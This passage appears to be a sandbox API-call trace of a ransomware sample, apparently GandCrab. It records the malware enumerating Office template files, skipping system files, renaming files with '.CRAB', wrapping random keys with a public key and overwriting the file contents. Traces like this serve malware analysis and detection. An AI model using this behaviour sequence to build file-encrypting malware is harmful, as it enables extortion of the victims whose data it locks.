	[0118.473] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox.CRAB"
	[0118.473] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox.CRAB.CRAB"
	[0118.473] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.474] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.474] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.474] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.474] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.474] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.474] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.475] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
	[0118.475] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.476] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.476] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.476] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.476] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0118.476] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.476] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.476] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.477] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0118.477] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedd68) returned 1
	[0118.477] CryptGetKeyParam (in: hKey=0xdedd68, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.477] CryptEncrypt (in: hKey=0xdedd68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.478] GetLastError () returned 0x0
	[0118.478] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.478] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
	[0118.478] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdede28) returned 1
	[0118.479] CryptGetKeyParam (in: hKey=0xdede28, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.479] CryptEncrypt (in: hKey=0xdede28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.479] GetLastError () returned 0x0
	[0118.479] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0118.479] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328975[[fn=theme picture accent]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.479] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.480] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0118.480] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x1930, lpOverlapped=0x0) returned 1
	[0118.494] VirtualAlloc (lpAddress=0x0, dwSize=0x1930, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.494] VirtualAlloc (lpAddress=0x0, dwSize=0x1930, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.495] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.495] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffe6d0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.495] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1930, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x1930, lpOverlapped=0x0) returned 1
	[0118.495] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.496] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.500] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.500] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.500] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.500] CloseHandle (hObject=0x3fc) returned 1
	[0118.501] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.501] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.502] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.502] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.502] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.502] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.503] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.503] lstrcmpW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2=".") returned 1
	[0118.503] lstrcmpW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2="..") returned 1
	[0118.503] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328983[[fn=Theme Picture Alternating Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox"
	[0118.503] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.503] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned 158
	[0118.503] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned 158
	[0118.503] lstrlenW (lpString=".glox") returned 5
	[0118.504] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.504] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.504] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned 158
	[0118.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned 158
	[0118.504] lstrcmpiW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2="desktop.ini") returned 1
	[0118.504] lstrcmpiW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2="autorun.inf") returned 1
	[0118.504] lstrcmpiW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2="ntuser.dat") returned 1
	[0118.504] lstrcmpiW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2="iconcache.db") returned 1
	[0118.504] lstrcmpiW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2="bootsect.bak") returned 1
	[0118.504] lstrcmpiW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2="boot.ini") returned 1
	[0118.504] lstrcmpiW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.505] lstrcmpiW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2="thumbs.db") returned 1
	[0118.505] lstrcmpiW (lpString1="TM03328983[[fn=Theme Picture Alternating Accent]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.505] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.505] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox.CRAB") returned 163
	[0118.505] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328983[[fn=theme picture alternating accent]].glox")) returned 0x20
	[0118.505] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox", dwFileAttributes=0x20) returned 1
	[0118.506] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328983[[fn=theme picture alternating accent]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328983[[fn=theme picture alternating accent]].glox.crab")) returned 1
	[0118.507] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.507] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox.CRAB"
	[0118.507] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox.CRAB.CRAB"
	[0118.507] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.508] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.508] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.509] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.509] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.509] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.509] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.509] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.509] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.510] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.510] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.510] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.510] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.510] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.510] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.511] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.511] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e5a0) returned 1
	[0118.512] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedfa8) returned 1
	[0118.513] CryptGetKeyParam (in: hKey=0xdedfa8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.513] CryptEncrypt (in: hKey=0xdedfa8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.513] GetLastError () returned 0x0
	[0118.513] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0118.513] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0118.514] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedaa8) returned 1
	[0118.514] CryptGetKeyParam (in: hKey=0xdedaa8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.514] CryptEncrypt (in: hKey=0xdedaa8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.514] GetLastError () returned 0x0
	[0118.514] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.514] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328983[[fn=theme picture alternating accent]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.515] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.515] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0118.515] ReadFile (in: hFile=0x3fc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3147f2c*=0x15fe, lpOverlapped=0x0) returned 1
	[0118.535] VirtualAlloc (lpAddress=0x0, dwSize=0x1600, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.535] VirtualAlloc (lpAddress=0x0, dwSize=0x1600, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.536] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.536] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffea02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.536] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x1600, lpOverlapped=0x0) returned 1
	[0118.536] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.537] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.541] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.541] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.541] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.542] CloseHandle (hObject=0x3fc) returned 1
	[0118.543] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.544] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.545] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.545] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.546] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.547] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.547] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.547] lstrcmpW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2=".") returned 1
	[0118.547] lstrcmpW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2="..") returned 1
	[0118.547] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328986[[fn=Theme Picture Grid]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox"
	[0118.547] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.548] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned 144
	[0118.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned 144
	[0118.548] lstrlenW (lpString=".glox") returned 5
	[0118.548] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.548] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.548] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned 144
	[0118.548] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned 144
	[0118.548] lstrcmpiW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2="desktop.ini") returned 1
	[0118.548] lstrcmpiW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2="autorun.inf") returned 1
	[0118.549] lstrcmpiW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2="ntuser.dat") returned 1
	[0118.549] lstrcmpiW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2="iconcache.db") returned 1
	[0118.549] lstrcmpiW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2="bootsect.bak") returned 1
	[0118.549] lstrcmpiW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2="boot.ini") returned 1
	[0118.549] lstrcmpiW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.549] lstrcmpiW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2="thumbs.db") returned 1
	[0118.549] lstrcmpiW (lpString1="TM03328986[[fn=Theme Picture Grid]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.549] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.549] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox.CRAB") returned 149
	[0118.549] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328986[[fn=theme picture grid]].glox")) returned 0x20
